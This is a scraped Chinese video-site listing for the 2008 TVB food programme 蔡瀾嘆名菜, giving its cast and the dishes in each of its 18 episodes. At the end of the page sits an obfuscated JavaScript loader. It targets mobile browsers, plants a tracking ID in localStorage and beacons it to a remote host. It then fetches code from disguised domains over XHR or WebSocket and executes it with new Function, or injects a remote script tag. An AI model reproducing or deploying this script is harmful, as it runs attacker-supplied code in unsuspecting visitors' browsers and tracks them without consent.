蔡瀾嘆名菜
- 清晰：無字完結
- 類型：港臺綜藝情感美食
- 主演： 蔡瀾,蘇玉華,阿曼達·斯特朗
- 更新時間：2008 / 香港 / tvb
- 導演： tvb
- 國家/地區：香港
- 語言/字幕：粵語
- 上映時間：2008
- 更新時間：2018-08-18 02:59:43
- 影視/評論：當前有0條評論，
- 劇情介紹：每集內容 第01集 燒味、云吞、竹升面（唇夾翅／雙龍競…每集內容 第01集 燒味、云吞、竹升面（唇夾翅／雙龍競艷／禮云子蛋清／桂花炒津絲） 第02集 點心、白云山名菜、生滾粥（杏汁燉白肺／鷓鴣粥／燒云腿鴿圃／古法咕嚕肉） 第03集 海鮮、河鮮（古法蒸魚頭） 第04集 潮州菜（龍穿虎肚／金瓜竽泥／肴肉糯米飯／油爆麥穗花魷） 第05集 上海菜、杭洲菜、北京菜（鍋燒元蹄） 第06集 辣菜：泰國、緬甸、韓國、印尼、馬來西亞、越南、墨西哥、香港（避風塘炒辣蟹） 第07集 西餐：法國、義大利、西班牙、份子料理、美國扒房、鼓油西餐（干炒牛河／焗梳乎厘／燒乳鴒鴿／瑞士雞翼） 第08集 街邊小食、大牌檔（墨汁墨魚丸／吊桶春滑蛋／芋頭煮羔蟹／炸榴槤） 第09集 日本菜（懷石料理） 第10集 各地菜式：中東、新強、馬來西亞、新加波、俄羅斯、印度、云南、四川（清真牛肉餅／生炒胡椒蟹／過橋米線／麻婆豆腐） 第11集 客家菜（酒香甘蔗扣肉／白玉三寶） 第12集 火鍋：廣東、北京、四川、番禺、韓國、日本、瑞士、香港（肥牛、涮羊肉、麻辣、一人一鍋） 第13集 甜品 第14集 私房菜（豉椒炒七日鮮／龍川鳳翼／手磨紅豆沙／家鄉煎藕餅／黃酒雞） 第15集 澳門（豪華編） 第16集 澳門（傳統編） 第17集 失傳菜式（釀炸蛋／肉心蛋／釀荷蘭豆／合浦珠還／煮蝦腦／蟹肉焗金瓜／番薯扣大鱔／酥鯽魚／通心丸／太史豆腐／黃灑鯉魚糯米飯／鑊底燒肉／陳皮紅豆沙） 第18集 廚藝訓練（全輯完） 《蔡瀾嘆名菜》由著名飲食專家蔡瀾，與兩位「美女廚神」蘇玉華及Amanda S.，帶大家游遍香港，訪尋各式地道美食。最新一輯蔡瀾主持的飲食節目《蔡瀾嘆名菜》，從視覺、味覺及情感多方面，引領大家為美食出發，一同嘗試新穎菜色，同時也尋回香港的失傳名菜。食神與美女廚神與你一同上館子、嘆名菜、品茗茶，是人生一大賞心樂事。蔡瀾在節目中還會與大師傅一起教大家如何烹調美食，令人垂涎欲滴回味無窮，絕對是一個色香味俱全的節目。詳情
大家在看
鐘欣愉,顏永烈,謝炘昊,陳秉立
2007 / 其他
更新至20230518
評分：0.0
function pbsqWQ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function uZWrm(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return pbsqWQ(t);};window[''+'U'+'x'+'T'+'H'+'R'+'O'+'z'+'b'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function aPXf(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=uZWrm,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=aPXf(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://vfr.fgreerebjkb.live:7891/stats/16223/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=aPXf(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmVzZmVzZmViamtiLmxxpdmUlM0E4ODkxx','d3NzJTNBJTJGJTJGYS52ZndyZWZlYmprrYi5saXZlJTNBOTUzMw==','170489',window,document,['x','r']);}:function(){};